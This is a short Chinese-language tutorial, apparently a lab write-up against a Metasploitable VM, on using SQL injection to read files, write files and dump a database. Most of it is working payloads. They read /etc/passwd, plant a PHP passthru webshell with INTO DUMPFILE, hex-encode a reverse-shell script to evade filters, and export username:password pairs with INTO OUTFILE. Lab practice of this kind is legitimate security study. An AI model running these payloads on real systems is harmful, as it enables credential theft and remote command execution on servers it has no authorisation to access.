通过SQL注入读取文件、写入文件、保存下载数据库(拖库)
读取文件
这里以读取系统本地账号密码为例
1 | ' union select null, load_file('/etc/passwd') -- |
写入文件
工具burpsuite
往服务器端插入php一句话木马,INTO DUMPFILE:MySQL函数,将输入保存成文件下载至本地(服务器)
1 | ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" -- |
很可惜,无法写入,原因是没有权限,现有的只有mysql的权限
一般来说,不同的服务都有其特定的用户账号,而账号都有其一定权限,而这些权限仅局限于自己服务的主目录下,没有权限向其他目录读些东西,
这里的/var/www/目录的权限是:
1 | msfadmin@metasploitable:/var/www$ ls -ld |
所以这里我选择写入默认路径,
1 | ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "a.php" -- |
但是写入后,我们且会因没有权限而无法利用上传的脚本
当无权限进行指定目录写入文件时,可使用文件包含漏洞
这里我们可以把脚本到/temp目录,这个目录是linux的通用目录,可以读写,虽然还是没有执行权限
1 | ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" -- |
写入之后,配合文件包含漏洞,命令执行
也可以上传一些shell脚本
选择反弹连接的shell,修改里面参数
因为服务器一般会有过滤机制,所以可以对shell进行编码再上传
1 | root@kali:/test# cat shell.php | xxd -ps | tr -d "\n" |
xxd -ps: 编码成16进制
tr -d “\n”: 删除换行符
保存下载数【拖库】
1 | ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'-- |